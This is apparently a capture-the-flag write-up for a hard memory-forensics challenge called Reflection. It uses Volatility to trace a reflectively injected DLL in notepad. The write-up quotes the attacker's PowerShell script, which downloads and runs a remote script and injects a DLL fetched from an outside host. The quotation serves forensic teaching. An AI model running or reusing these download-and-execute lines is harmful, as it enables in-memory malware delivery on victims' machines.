Write-Ups
thewildspirit,
Feb 15
2022
This writeup will go over the solution for the hard forensics challenge named Reflection. To solve this challenge, a player needs to detect and retrieve an injected malicious DLL file from a memory dump.
You and Miyuki have succeeded in dis-empowering Draeger's army in every possible way. Stopped their fuel-supply plan, arrested their ransomware gang, prevented massive phishing campaigns, and understood their tactics and techniques in depth. Now it is the time for the final blow. The final preparations are completed. Everyone is in their stations waiting for the signal. This mission can only be successful if you use the element of surprise. Thus, the signal must remain a secret until the end of the operation. During some last-minute checks, you notice some weird behavior in Miyuki's PC. You must find out if someone managed to gain access to her PC before it's too late. If so, the signal must change. Time is limited, and there is no room for errors.
For this challenge, we are given a memory dump. Usually, when dealing with a memory forensics challenge, our tool of choice is volatility.
Firstly, we need to determine the proper profile for volatility to analyse the sample. The command imageinfo can identify the OS, architecture, and more.
python2 volatility/vol.py -f memory.raw imageinfo
The profile is: Win7SP1x86_23418.
A good first step is to enumerate the running processes when analysing a memory dump. The command pstree can print the process list as a tree.
python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 pstree
From the command's output, we can notice that the interesting processes here are:
Powershell.exe
notepad.exe
Since PowerShell is running, we can try to see if we can retrieve the command history by using the consoles plugin. This plugin extracts the command history by scanning for the _CONSOLE_INFORMATION structure.
python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 consoles
The attacker executed the script named update.ps1 in the folder C:\Windows\security. By default, the latter does not contain the update.ps1 script. It is very uncommon and needs further analysis.
To access the script, we will use the filescan plugin to locate the physical address of the file's _FILE_OBJECT structure and then use the dumpfiles plugin to extract its content to disk. Here, we need to note that the file may still not exist in memory.
python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 filescan |grep "update.ps1"
Now that we know the file still exists in memory, we can extract it.
python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003f4551c0 -D ./dumps
The content of the file can be seen below:
iex (New-Object net.webclient).Downloadstring('https://windowsliveupdater.com/sysdriver.ps1');
Invoke-ReflectivePEInjection -PEUrl https://windowsliveupdater.com/winmgr.dll -ProcName notepad
The script executes two commands:
It downloads and loads in memory a script called sysdriver.ps1
Then, it invokes a function called Invoke-ReflectivePEInjection, which is not a default PowerShell function. The given parameters are a URL pointing to a DLL file and a process named notepad.
Since the function used by the script is loaded in memory, we can try to find its content in Powershell's memory.
We will use the memdump plugin for this task, which dumps the addressable memory of a process to disk.
python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 memdump -p 3424 -D ./dumps
Then, we can carve out the script from memory using the grep command with -A and -B flags.
Otherwise, we can search the script's name on google and find out that it is a PowerSploit module.
A typical DLL injection technique uses LoadLibraryA, which loads a DLL into a target process using its full path on the disk. Reflective injection loads a DLL into a process's memory while it handles its initialization without the help of the loader mentioned above, to avoid touching the disk. As described by the script's author, the script implements some of the LoadLibraryA's functionalities, such as:
Allocate space for the DLL and copy the DLL headers into memory
Copy the DLL sections to memory
Perform base relocations on the sections loaded
Load DLLs required by the DLL being loaded
Set correct memory permissions in memory for the DLL
Call DLLMain, so the DLL knows it is loaded
Return the handle to the DLL, which is the memory address of the first byte of the DLL
In addition, we notice the Invoke-ReflectivePEInjection.ps1 script, if not specified otherwise, zeroes out the DLL's header. As a result, we can not use tools like foremost or binwalk to carve the file out of the memory.
Reading the list mentioned above, we understand that enumerating the loaded DLLs in notepad, using the dlllist plugin, will not work. The reason is that the plugin enumerates DLLs by walking the load order list.
The weakest link here is step 5. The memory permissions must be RWX for the DLL to be executed.
Malfind plugin works exactly this way. It searches for hidden and/or injected code in processes.
python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 malfind -p 3244
Examining the output, we can see that this memory section has only null bytes with a couple of exceptions.
We need to investigate this further by loading a couple more memory pages. For this task, we are going to use volshell. This plugin allows us to inspect the memory dump from a Python command prompt manually.
python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 volshell -p 3244
The first two bytes are zero, but the rest of the file seems to be a valid DLL.
Now that we know the DLL's address in the notepad process, we can try to dump it using the dlldump plugin. This plugin extracts a DLL from a process, given a specific process ID and offset.
python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 dlldump -p 3244 -b 0xb0000 -D dumps
Volatility cannot validate the DLL's header and it stops the procedure.
To bypass this anti-forensics technique, we need to edit volatility's source code to skip the header check.
By commenting out this line, we can make the plugin work.
def get_nt_header(self):
"""Get the NT header"""
if self.e_magic != 0x5a4d:
raise ValueError('e_magic {0:04X} is not a valid DOS signature.'.format(self.e_magic))
We can create a valid file by replacing the first two bytes with a valid DOS signature,MZ.
As described by the Invoke-ReflectivePEInjection script's documentation, the injected DLL must have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
By opening the DLL in ghidra we can easily see some exported functions, and finally, the wanted one.
And as we can see, there is another function being called, with this array as a parameter.
(*_DAT_000b2000)(&local_7c,0);
By decrypting the hex array, we get the flag. 🏴